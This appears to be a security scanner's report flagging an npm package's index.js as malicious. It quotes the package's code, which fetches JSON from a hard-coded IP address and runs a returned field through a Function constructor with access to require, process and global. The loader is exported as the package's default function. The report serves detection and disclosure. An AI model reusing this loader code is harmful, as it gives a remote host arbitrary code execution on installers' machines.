6L7: // Create require that resolves from the project root (where package.json and node_modules are)
L8: const projectRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
...
L90:
L91: return fetch(url, { headers: head })
L92: .then(response => {
...
L95: }
L96: return response.json();
L97: });
...
L133: exports: {},
L134: __dirname: process.cwd(),
L135: __filename: import.meta.url,
CriticalRemote Response Code Execution
Source passes code obtained from a remote response into a dynamic execution sink.
index.jsView on unpkg · L6 149// Note: The code uses async/await, so we need to handle that
L150: const evalFn = new Function(
L151: 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',
•matchType = malicious_source_fingerprint_signature
signature = c06bd55d669269cb
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = velora-kit@12.1.2
matchedPath = index.js
matchedIdentity = npm:dmVsb3JhLWtpdA:12.1.2
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
HighKnown Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
index.jsView on unpkg 106const protocol = "https", domain = "31.97.137.157:45000", separator = "://", path = "/icons/";
// Constructs the base URL for the local server
const token = '108', head = { bearrtoken: "logo" };
// Options for the request, including the URL and headers
const uuri = `${protocol}${separator}${domain}${path}`; const options = { url: uuri, headers: head };
119const response = await fetch(url, { headers: reqoptions.headers });
if (!response.ok) {
if (atlf > 0) {
mreq(atlf - 1);
}
return;
}
const data = await response.json();
148// Use Function constructor to create an eval with the context
// Note: The code uses async/await, so we need to handle that
const evalFn = new Function(
'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',
data.credits
);
HighAi Review Evidence
Executed payload receives require, process, global, and filesystem path context.
index.jsView on unpkg · L148 155// Execute the code
const result = evalFn(
evalContext.require,
evalContext.module,
evalContext.exports,
evalContext.__dirname,
evalContext.__filename,
evalContext.console,
evalContext.process,
evalContext.global,
evalContext.Buffer,
evalContext.setTimeout,
evalContext.setInterval,
evalContext.clearTimeout,
evalContext.clearInterval,
evalContext.Promise
HighAi Review Evidence
The remote-code loader is the package’s default export.
index.jsView on unpkg · L155 198// Default export of functions
export default getPlugin;
HighAi Review Evidence
The remote-code loader is the package’s default export.
index.jsView on unpkg · L198